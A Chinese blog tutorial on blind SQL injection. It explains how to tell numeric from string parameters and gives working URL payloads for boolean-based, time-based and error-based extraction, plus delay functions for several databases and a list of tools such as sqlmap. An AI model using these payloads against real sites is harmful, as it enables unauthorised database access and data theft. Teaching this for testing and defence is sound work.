SQL 盲注(Blind SQL Injection)是 SQL 注入的一种特殊形式,常见于无明显错误信息或回显的系统中。
本文将从基础定义到三种主要类型,结合实际 payload,帮助你深入理解 SQL 盲注攻击原理与测试方法。
一、什么是 SQL 盲注?
SQL 盲注是指当注入成功后,服务器没有直接返回查询结果,但仍然执行了注入语句时,攻击者通过页面行为(如:是否报错、是否延迟、页面是否变化)来“盲猜”数据库信息的一种注入方式。
二、注入前的第一步:判断参数类型
判断参数是否为字符串或数字类型是构造 payload 的关键。
1. 数字型参数判断
?id=1 AND 1=1 -- 页面正常
?id=1' AND '1'='1 -- 页面报错(说明不能加引号)
结论:参数是数字型,payload 写法无需加引号。
2. 字符串型参数判断
?name=a AND 1=1 -- 页面报错
?name='a' AND 1=1 -- 页面正常(说明需要加引号)
结论:参数是字符串型,构造 payload 时需要用单引号包裹。
例如:
?name='a' AND '1'='1'
?name='a' AND ASCII(SUBSTRING((SELECT user()),1,1))=114
三、SQL 盲注的三大类型
1. 布尔盲注(Boolean-based)
通过构造返回“真”或“假”的条件,观察页面是否有响应差异。
探测阶段:
?id=1 AND 1=1 -- 页面正常
?id=1 AND 1=2 -- 页面空白或错误
构造猜测语句:
?id=1 AND ASCII(SUBSTRING((SELECT database()),1,1))=109
解释:
SUBSTRING(str, start, length):从字符串中截取子串。ASCII():获取字符的 ASCII 编码。页面正常 → 数据库名第一个字符是 ASCII 为 109,即字母 m。
2. 时间盲注(Time-based)
利用数据库的延时函数,让页面在条件为“真”时延迟响应。
?id=1 AND IF(ASCII(SUBSTRING((SELECT user()),1,1))=114, SLEEP(5), 0)
如果页面延迟 5 秒,说明第一个字符是 'r'(ASCII = 114)。
常用数据库的延时函数:
数据库延时函数MySQLSLEEP(n)MSSQLWAITFOR DELAY '0:0:5'PostgreSQLpg_sleep(n)Oracledbms_pipe.receive_message('a', 5)
3. 报错盲注(Error-based)
通过构造会触发错误信息的语句,将数据库信息泄露在错误提示中。
?id=1 AND (
SELECT 1 FROM (
SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2)) AS x
FROM information_schema.tables
GROUP BY x
) a
)
原理解析:
(SELECT database()):获取当前数据库名(如:mysql)。FLOOR(RAND(0)*2):生成 0 或 1。CONCAT(...):拼接结果为如 mysql0。GROUP BY x:使重复值导致 Duplicate entry 错误,错误信息中会包含数据库名。
常用工具辅助测试
工具用途sqlmap自动化盲注检测与利用Burp Suite拦截并修改请求,结合 Repeater 精确调试 payloadHackBar(浏览器插件)快速测试注入点与 payload 构造
总结
SQL 盲注的核心在于**“猜测” + “观察”**。三种常见类型:布尔盲注、时间盲注、报错注入,各有用途,常搭配使用。学会判断参数类型是构造 payload 的基础。工具如 sqlmap 可以帮助自动化测试,但原理必须掌握。
如果你觉得本文对你有帮助,欢迎点赞、评论和关注我!感谢~